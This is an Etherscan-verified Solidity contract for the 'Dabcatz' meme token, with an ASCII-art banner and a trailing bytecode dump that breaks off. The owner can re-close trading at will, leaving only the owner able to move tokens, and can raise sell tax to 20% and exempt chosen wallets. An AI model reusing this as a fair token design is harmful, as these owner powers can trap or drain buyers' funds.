/** *Submitted for verification at Etherscan.io on 2022-04-27 */ /** 5555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555 5555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555 5555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555 5555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555 5555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555 5555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555 55555555555555555555555555555555555555555555555555555555555P5555555PP555PP55555555555555555555555555 55555555555555555555555555555555555P5555555555555555555PPPPPGP5555PJ!~~!!YP5555555555555555555555555 555555555555555555555555555555555GG55PPPP55PPPPGPPP5PPP5Y5Y?JG555P5^!~~!!~G5555555555555555555555555 55555555555555555555555555555555PP7YY??J5PPG7?Y5!7YGPJ7JJ7?7?B5555G7!^~~!YP5555555555555555555555555 55555555555555555555555555555555G5J!?PY!!7JP7~~!!!7?77YJ ?7?B5555GP5555PP55555555555555555555555555 55555555555555555555555555555555P5Y. :Y5!!!7Y?!!!!7777J7!^??JG55555555555555555555555555555555555555 55555555555555555555555555555555PG77~7!!!!!!!7!!!!!777777?5YYG555PP55GPP5555555555555555555555555555 555555555555555555555555555555555GJP7!!!!!!!!!!!!!!!!!77777JBGPP5Y~.:^^JG555555555555555555555555555 555555555555555555555555555555555PB?!!!!!!7??JJ?!!!!!!!!!!!!557!!!: ^JG555555555555555555555555555 555555555555555555555555555555555PP~!!!7JJ!~!!~75Y!!7JJ?!!!!?Y~!!!!~^^7PP555555555555555555555555555 555555555555555555555555555555555P5!?JYJ7!. .^:^P!7Y?77!!!~.Y?!!!7J5GP55555555555555555555555555555 555555555555555555555555555555555G5YJ7!!!!!^..:7P5~!!!!!!!^. ?Y!?5PPP5555555555555555555555555555555 5555555555555555555555555555555PG5?!!!!!!!7?J??BB??7!!!~^. .!YJPGP5555555555555555555555555555555555 555555555555555555555555555555PG?~!!!!!!7?7^^!YGBP7^:.. .^7JJ5GP55PPPP555555555555555555555555555555 555555555555555555555555555555G5!!!!!!!J5?~^^^^~!^:^~!7?JJ?75G555G5!7PG55555555555555555555555555555 555555555555555555555555555555PG?!!!!!!!!!77?????????777777?B5555PG7!7PP5555555555555555555555555555 5555555555555555555555555555555PG5YJ?7!!!!!!~^:......:~!!77YG55555GY~!YG5555555555555555555555555555 555555555555555555555555555555555PPPPB?!!!!!. .!!!7YG55PPPG?!!PP5555555555555555555555555555 5555555555555555555555555555555555555GJ7!!!!. .!!!!?B55YJ!.:!5G55555555555555555555555555555 5555555555555555555555555555555555555GY77!!!~. .~!!!!757 :~JPP555555555555555555555555555555 555555555555555555555555555555555555PG?7!!!!!!~::.::~!!!!!!!!5555PPP55555555555555555555555555555555 555555555555555555555555555555555555G?!!!!!!!!~::::::^!!!!!!!7BP555555555555555555555555555555555555 55555555555555555555555555555555555PG!!!!!!!~.:7Y55Y?^.~!!!!!!5GP55555555555555555555555555555555555 5555555555555555555555555555555555G57!!!!!!^ ~GPP55PPG! ^!!!!!!7YG5555555555555555555555555555555555 555555555555555555555555555555555PP~~!^^^:.:7GP555555PG~.::^^^7!JG5555555555555555555555555555555555 55555555555555555555PPGGP5555PPP55PPYPJJJJYPP5555555555P55YY55PPP5555PGGP555PGGGGGGGP555555555555555 5555555555555555555B&&#&@#G#&&&&&#GG&@&&@&G55555PB#&&&&#GG#&&&&&#GPG&@##@&B&@######&@#P5555555555555 [email protected]@~ :#@@G?~^[email protected]@@J [email protected]&[email protected]&[email protected]@#J~^^[email protected]&@@Y [email protected]@@J .. :&@B5555555555555 5555555555555555PG#@@: [email protected]@! ^!. [email protected]@7 [email protected]@&#G#@B: :: [email protected]? :!: [email protected]@#7 ~B&@#55Y. [email protected]@P5555555555555 [email protected]@GJ!. [email protected]@@PYJ^ [email protected]@? .^[email protected]@&: [email protected]&B#@@@GYJ~ ^@Y [email protected]@@@? [email protected]@G55555555555555 5555555555555P&@P: :. [email protected]#~ .. [email protected]@J :!: [email protected] .&@#B#@&7. .. ^@&G? ^P#@@@5 :#@B555555555555555 [email protected]# [email protected]~ [email protected] ~&J [email protected]@J [email protected] [email protected]&. [email protected]@&@@P :#P ^@@@P ^@@@@G. [email protected]@GP55555555555555 [email protected]&! ~J: [email protected]^ ~^ [email protected]@Y :~ [email protected]@5 .?!:^#&~ ^~ ^@@@#: [email protected]#: ^[email protected]&P5555555555555 55555555555555G&@G?~::::[email protected]@&P7^:::[email protected]@B^::^!Y#@##@B7^..^J&@@G?~:::[email protected]@#@#?^[email protected]::::[email protected]@G5555555555555 555555555555555PG#&&&&&&&#PB#&&&&&@##&&&&&&&BP55G#@&&&&&#PG#&&&&&@#G5G#@&&@&&&&&&&&@&G55555555555555 55555555555555555555PPPPP55555PPPPP555PPPP555555555PPPP555555PPPPP555555PPP5PPPPPPPP5555555555555555 5555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555 5555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555 5555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555 5555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555 5555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555 //Telegram - https://t.me/DabCatz //Twitter - https://twitter.com/DabCatz //website - https://DabCatz.com */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Dabcatz is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Dabcatz"; string private constant _symbol = "DCATZ"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 2000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 8; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 8; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; address payable private _developmentAddress = payable(0x9A49C4056C2B32D9241d07d268E40131e55e49DE); address payable private _marketingAddress = payable(0x9A49C4056C2B32D9241d07d268E40131e55e49DE); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 5000000000 * 10**9; uint256 public _maxWalletSize = 25000000000 * 10**9; uint256 public _swapTokensAtAmount = 20000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 10, "Buy tax must be between 0% and 10%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 5000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { if (maxWalletSize > 25000000000 * 10**9) { _maxWalletSize = maxWalletSize; } } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101855760003560e01c80637d1db4a5116100d1578063a2a957bb1161008a578063c492f04611610064578063c492f0461461046c578063dd62ed3e1461048c578063ea1644d5146104d2578063f2fde38b146104f257600080fd5b8063a2a957bb14610417578063a9059cbb14610437578063c3c8cd801461045757600080fd5b80637d1db4a51461035f5780638da5cb5b146103755780638f70ccf7146103935780638f9a55c0146103b357806395d89b41146103c957806398a5c315146103f757600080fd5b8063313ce5671161013e5780636fc3eaec116101185780636fc3eaec146102f557806370a082311461030a578063715018a61461032a57806374010ece1461033f57600080fd5b8063313ce5671461029757806349bd5a5e146102b35780636d8aa8f8146102d357600080fd5b806306fdde0314610191578063095ea7b3146101d35780631694505e1461020357806318160ddd1461023b57806323b872dd146102615780632fd689e31461028157600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506040805180820190915260078152662230b131b0ba3d60c91b60208201525b6040516101ca919061185f565b60405180910390f35b3480156101df57600080fd5b506101f36101ee3660046118c9565b610512565b60405190151581526020016101ca565b34801561020f57600080fd5b50601254610223906001600160a01b031681565b6040516001600160a01b0390911681526020016101ca565b34801561024757600080fd5b50686c6b935b8bbd4000005b6040519081526020016101ca565b34801561026d57600080fd5b506101f361027c3660046118f5565b610529565b34801561028d57600080fd5b5061025360165481565b3480156102a357600080fd5b50604051600981526020016101ca565b3480156102bf57600080fd5b50601354610223906001600160a01b031681565b3480156102df57600080fd5b506102f36102ee36600461194b565b610592565b005b34801561030157600080fd5b506102f36105e3565b34801561031657600080fd5b50610253610325366004611966565b61062e565b34801561033657600080fd5b506102f3610650565b34801561034b57600080fd5b506102f361035a366004611983565b6106c4565b34801561036b57600080fd5b5061025360145481565b34801561038157600080fd5b506000546001600160a01b0316610223565b34801561039f57600080fd5b506102f36103ae36600461194b565b610703565b3480156103bf57600080fd5b5061025360155481565b3480156103d557600080fd5b506040805180820190915260058152642221a0aa2d60d91b60208201526101bd565b34801561040357600080fd5b506102f3610412366004611983565b61074b565b34801561042357600080fd5b506102f361043236600461199c565b61077a565b34801561044357600080fd5b506101f36104523660046118c9565b610930565b34801561046357600080fd5b506102f361093d565b34801561047857600080fd5b506102f36104873660046119ce565b610991565b34801561049857600080fd5b506102536104a7366004611a52565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104de57600080fd5b506102f36104ed366004611983565b610a32565b3480156104fe57600080fd5b506102f361050d366004611966565b610a72565b600061051f338484610b5c565b5060015b92915050565b6000610536848484610c80565b610588843361058385604051806060016040528060288152602001611c06602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611122565b610b5c565b5060019392505050565b6000546001600160a01b031633146105c55760405162461bcd60e51b81526004016105bc90611a8b565b60405180910390fd5b60138054911515600160b01b0260ff60b01b19909216919091179055565b6010546001600160a01b0316336001600160a01b0316148061061857506011546001600160a01b0316336001600160a01b0316145b61062157600080fd5b4761062b8161115c565b50565b6001600160a01b0381166000908152600260205260408120546105239061119a565b6000546001600160a01b0316331461067a5760405162461bcd60e51b81526004016105bc90611a8b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106ee5760405162461bcd60e51b81526004016105bc90611a8b565b674563918244f4000081111561062b57601455565b6000546001600160a01b0316331461072d5760405162461bcd60e51b81526004016105bc90611a8b565b60138054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146107755760405162461bcd60e51b81526004016105bc90611a8b565b601655565b6000546001600160a01b031633146107a45760405162461bcd60e51b81526004016105bc90611a8b565b60048411156108035760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b60648201526084016105bc565b600a82111561085f5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642031604482015261302560f01b60648201526084016105bc565b60048311156108bf5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b60648201526084016105bc565b601481111561091c5760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b60648201526084016105bc565b600893909355600a91909155600955600b55565b600061051f338484610c80565b6010546001600160a01b0316336001600160a01b0316148061097257506011546001600160a01b0316336001600160a01b0316145b61097b57600080fd5b60006109863061062e565b905061062b8161121e565b6000546001600160a01b031633146109bb5760405162461bcd60e51b81526004016105bc90611a8b565b60005b82811015610a2c5781600560008686858181106109dd576109dd611ac0565b90506020020160208101906109f29190611966565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a2481611aec565b9150506109be565b50505050565b6000546001600160a01b03163314610a5c5760405162461bcd60e51b81526004016105bc90611a8b565b68015af1d78b58c4000081111561062b57601555565b6000546001600160a01b03163314610a9c5760405162461bcd60e51b81526004016105bc90611a8b565b6001600160a01b038116610b015760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105bc565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105bc565b6001600160a01b038216610c1f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105bc565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105bc565b6001600160a01b038216610d465760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105bc565b60008111610da85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105bc565b6000546001600160a01b03848116911614801590610dd457506000546001600160a01b03838116911614155b1561101b57601354600160a01b900460ff16610e6d576000546001600160a01b03848116911614610e6d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105bc565b601454811115610ebf5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105bc565b6013546001600160a01b03838116911614610f445760155481610ee18461062e565b610eeb9190611b07565b10610f445760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105bc565b6000610f4f3061062e565b601654601454919250821015908210610f685760145491505b808015610f7f5750601354600160a81b900460ff16155b8015610f9957506013546001600160a01b03868116911614155b8015610fae5750601354600160b01b900460ff165b8015610fd357506001600160a01b03851660009081526005602052604090205460ff16155b8015610ff857506001600160a01b03841660009081526005602052604090205460ff16155b15611018576110068261121e565b478015611016576110164761115c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061105d57506001600160a01b03831660009081526005602052604090205460ff165b8061108f57506013546001600160a01b0385811691161480159061108f57506013546001600160a01b03848116911614155b1561109c57506000611116565b6013546001600160a01b0385811691161480156110c757506012546001600160a01b03848116911614155b156110d957600854600c55600954600d555b6013546001600160a01b03848116911614801561110457506012546001600160a01b03858116911614155b1561111657600a54600c55600b54600d555b610a2c848484846113a7565b600081848411156111465760405162461bcd60e51b81526004016105bc919061185f565b5060006111538486611b1f565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611196573d6000803e3d6000fd5b5050565b60006006548211156112015760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105bc565b600061120b6113d5565b905061121783826113f8565b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061126657611266611ac0565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112ba57600080fd5b505afa1580156112ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f29190611b36565b8160018151811061130557611305611ac0565b6001600160a01b03928316602091820292909201015260125461132b9130911684610b5c565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611364908590600090869030904290600401611b53565b600060405180830381600087803b15801561137e57600080fd5b505af1158015611392573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b806113b4576113b461143a565b6113bf848484611468565b80610a2c57610a2c600e54600c55600f54600d55565b60008060006113e261155f565b90925090506113f182826113f8565b9250505090565b600061121783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115a1565b600c5415801561144a5750600d54155b1561145157565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061147a876115cf565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114ac908761162c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114db908661166e565b6001600160a01b0389166000908152600260205260409020556114fd816116cd565b6115078483611717565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161154c91815260200190565b60405180910390a3505050505050505050565b6006546000908190686c6b935b8bbd40000061157b82826113f8565b82101561159857505060065492686c6b935b8bbd40000092509050565b90939092509050565b600081836115c25760405162461bcd60e51b81526004016105bc919061185f565b5060006111538486611bc4565b60008060008060008060008060006115ec8a600c54600d5461173b565b92509250925060006115fc6113d5565b9050600080600061160f8e878787611790565b919e509c509a509598509396509194505050505091939550919395565b600061121783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611122565b60008061167b8385611b07565b9050838110156112175760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105bc565b60006116d76113d5565b905060006116e583836117e0565b30600090815260026020526040902054909150611702908261166e565b30600090815260026020526040902055505050565b600654611724908361162c565b600655600754611734908261166e565b6007555050565b6000808080611755606461174f89896117e0565b906113f8565b90506000611768606461174f8a896117e0565b905060006117808261177a8b8661162c565b9061162c565b9992985090965090945050505050565b600080808061179f88866117e0565b905060006117ad88876117e0565b905060006117bb88886117e0565b905060006117cd8261177a868661162c565b939b939a50919850919650505050505050565b6000826117ef57506000610523565b60006117fb8385611be6565b9050826118088583611bc4565b146112175760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105bc565b600060208083528351808285015260005b8181101561188c57858101830151858201604001528201611870565b8181111561189e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461062b57600080fd5b600080604083850312156118dc57600080fd5b82356118e7816118b4565b946020939093013593505050565b60008060006060848603121561190a57600080fd5b8335611915816118b4565b92506020840135611925816118b4565b929592945050506040919091013590565b8035801515811461194657600080fd5b919050565b60006020828403121561195d57600080fd5b61121782611936565b60006020828403121561197857600080fd5b8135611217816118b4565b60006020828403121561199557600080fd5b5035919050565b600080600080608085870312156119b257600080fd5b5050823594602084013594506040840135936060013592509050565b6000806000604084860312156119e357600080fd5b833567ffffffffffffffff808211156119fb57600080fd5b818601915086601f830112611a0f57600080fd5b813581811115611a1e57600080fd5b8760208260051b8501011115611a3357600080fd5b602092830195509350611a499186019050611936565b90509250925092565b60008060408385031215611a6557600080fd5b8235611a70816118b4565b91506020830135611a80816118b4565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b0057611b00611ad6565b5060010190565b60008219821115611b1a57611b1a611ad6565b500190565b600082821015611b3157611b31611ad6565b500390565b600060208284031215611b4857600080fd5b8151611217816118b4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ba35784516001600160a01b031683529383019391830191600101611b7e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611be157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611c0057611c00611ad6565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200ea8c015fcdd76a38f7c52c0316e37f98000ed7d4f48d3c6a